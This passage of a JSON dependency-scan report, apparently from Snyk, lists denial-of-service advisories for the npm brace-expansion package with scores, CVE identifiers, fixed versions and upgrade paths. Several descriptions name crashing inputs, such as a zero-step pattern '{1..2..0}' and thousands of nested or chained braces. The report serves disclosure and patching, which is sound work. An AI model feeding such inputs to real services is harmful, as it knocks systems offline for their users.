"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
